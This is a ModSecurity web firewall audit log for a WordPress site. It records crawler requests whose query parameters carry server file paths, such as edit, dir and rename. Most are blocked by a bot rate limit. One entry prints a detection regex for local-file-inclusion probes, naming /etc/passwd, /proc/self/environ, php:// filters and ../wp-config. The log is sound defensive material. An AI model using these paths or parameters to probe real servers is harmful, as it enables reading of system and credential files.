{"transaction":{"time":"13/Mar/2026:10:02:34.989781 +0100","transaction_id":"abPSqnOLliqCo9FxU0QWXAAAABc","remote_address":"216.73.216.152","remote_port":44246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2%2Fcomposer.lock HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e0bb44e1f70f71f1247f998a6bba264e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9996210"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e0bb44e1f70f71f1247f998a6bba264e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2/composer.lock& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":211,"p2":2097,"p3":0,"p4":0,"p5":355,"sr":120,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:35.027147 +0100","transaction_id":"abPSq3OLliqCo9FxU0QWXQAAABc","remote_address":"216.73.216.152","remote_port":44246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fsite_data_2024%2Fpublic HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ca808134e9e36a18a3ae84ca01c8f5f5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9996213"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ca808134e9e36a18a3ae84ca01c8f5f5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/site_data_2024/public& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":310,"p2":2976,"p3":0,"p4":0,"p5":421,"sr":170,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:35.043511 +0100","transaction_id":"abPSq3OLliqCo9FxU0QWXgAAABc","remote_address":"216.73.216.152","remote_port":44246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fsite_data_2024%2Froutes HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f2ce7f4f873ef7a1c40c63d536a098be","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12061842"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f2ce7f4f873ef7a1c40c63d536a098be","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/site_data_2024/routes& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":277,"p2":2590,"p3":0,"p4":0,"p5":448,"sr":151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:35.072266 +0100","transaction_id":"abPSq3OLliqCo9FxU0QWXwAAABc","remote_address":"216.73.216.152","remote_port":44246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fatito2%2Froutes HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0e502010d2848d77ac64a5aebcf43360","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9996216"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0e502010d2848d77ac64a5aebcf43360","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/atito2/routes& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":296,"p2":2925,"p3":0,"p4":0,"p5":506,"sr":158,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:35.164520 +0100","transaction_id":"abPSqxuPle8UYRaPh9L61wAAAUE","remote_address":"216.73.216.152","remote_port":48158,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fatito2%2Fpublic HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"41c744bdae5fb1d6f11a7e67f66cc62f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124882"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"41c744bdae5fb1d6f11a7e67f66cc62f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/atito2/public& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":290,"p2":3318,"p3":0,"p4":0,"p5":461,"sr":165,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:36.837401 +0100","transaction_id":"abPSrBuPle8UYRaPh9L62AAAAVc","remote_address":"57.141.20.37","remote_port":47970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php8.1/include/php/main/fastcgi.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.37","X-Forwarded-Proto":"https","X-Request-Id":"5161255f29dd6eeaaf8fba19cab3814d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1480994"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5161255f29dd6eeaaf8fba19cab3814d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.1/include/php/main/fastcgi.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":274,"p2":5389,"p3":0,"p4":0,"p5":1240,"sr":160,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:49.383632 +0100","transaction_id":"abPSuRuPle8UYRaPh9L67QAAAU0","remote_address":"216.73.216.152","remote_port":48106,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsite_data_2024%2Fcomposer.lock HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ed6ce8c584ba64c1af53a4dcae2889ee","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4427133"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ed6ce8c584ba64c1af53a4dcae2889ee","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/site_data_2024/composer.lock& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":192,"p2":1873,"p3":0,"p4":0,"p5":384,"sr":139,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:49.494750 +0100","transaction_id":"abPSuRuPle8UYRaPh9L68AAAAUQ","remote_address":"216.73.216.152","remote_port":48008,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco.net%2Fhome-3.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a418660a43bce7c62f8c21359e97f8cf","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4427140"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a418660a43bce7c62f8c21359e97f8cf","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco.net/home-3.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":302,"p2":2838,"p3":0,"p4":0,"p5":681,"sr":119,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:49.597583 +0100","transaction_id":"abPSuXhj1Fyg-cNIPtg_ZwAAA5c","remote_address":"216.73.216.152","remote_port":44216,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsivaco.net%2Fportfolio-2-columns.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"4e2dca3541a366be4b9716e63d10969b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11832504"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"4e2dca3541a366be4b9716e63d10969b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/sivaco.net/portfolio-2-columns.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":177,"p2":1671,"p3":0,"p4":0,"p5":345,"sr":101,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:50.318883 +0100","transaction_id":"abPSun29rYkRMjwGQQbNuwAAAII","remote_address":"216.73.216.152","remote_port":44218,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fsite_data_2024%2Fadmin_jmk_siteV5.sql HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1634776eee1bad69fbc43372cd8d4c46","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13895159"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1634776eee1bad69fbc43372cd8d4c46","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/site_data_2024/admin_jmk_siteV5.sql& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":184,"p2":1729,"p3":0,"p4":0,"p5":291,"sr":111,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:50.354900 +0100","transaction_id":"abPSun29rYkRMjwGQQbNvAAAAII","remote_address":"216.73.216.152","remote_port":44218,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fsivaco.net%2Fgrid.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5263daf51424f74c55c47988ef68ca3b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11832510"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5263daf51424f74c55c47988ef68ca3b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/sivaco.net/grid.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":179,"p2":1696,"p3":0,"p4":0,"p5":312,"sr":111,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:50.390731 +0100","transaction_id":"abPSuhuPle8UYRaPh9L68QAAAU0","remote_address":"216.73.216.152","remote_port":48106,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fsivaco.net%2Fpricing.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"762c4513a96d3d8f4fdf04b0f3e715c1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6560601"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"762c4513a96d3d8f4fdf04b0f3e715c1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/sivaco.net/pricing.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":294,"p2":1940,"p3":0,"p4":0,"p5":275,"sr":111,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
